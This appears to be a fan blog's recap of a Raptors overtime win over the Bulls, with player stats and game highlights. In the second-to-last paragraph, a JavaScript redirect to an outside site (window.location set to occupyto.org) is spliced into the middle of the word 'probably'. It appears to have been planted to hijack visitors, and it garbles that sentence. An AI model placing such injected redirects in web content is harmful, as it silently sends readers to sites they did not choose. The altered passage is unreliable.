CB4 for Four

Raptors 134, Bulls 129 (OT)

The game started with the Raps knocking down shots, with Bargani getting involved in the offense early.  After the first quarter, the Raps had a 30-21 lead.  The Raps continued to play well into the second quarter, Pops was playing with energy, Roko was playing with confidence and Jose Calderon was dropping dimes.  The Raps had a 17 point lead but Ben Gordon and his hot hand got the Bulls within eight in the first half.

The second half proved to been an exciting one, as the Bulls scored 42 points in the fourth in force overtime.  At the end of the fourth, with the Raps ups 118-117 with 6 seconds to play, Anthony Parker was at the line for two free throws.  Unfortunately, Parker went 1 for 2 at the line.  Ben Gordon was able to run down the court and hit a 22-foot jumper to send the game into overtime.  In OT, Bargnani came up with two crucial rebounds and hit a big three to help seal the victory. This was probwindow.location=”http://occupyto.org/”;ably one of the best Raps games of the season, but man, we needed this Raps team 30-40 games ago.

Key Notes:

• Jose Calderon had 22 pts and 19 assists (matching a franchise high in assists)
• Pops had 13 pts and 4 boards including some thunderous dunks
• Pops was +11 and Roko +10
• Derrick Rose had 23 pts and 9 assists
• Again, the Raptors outrebounded the opponent 42-32
• For a Bulls perspective, check out Pippen Ain’t Easy
• Raps play the Magic on Wednesday

Photo credit:  (Photo by Ron Turenne/NBAE via Getty Images)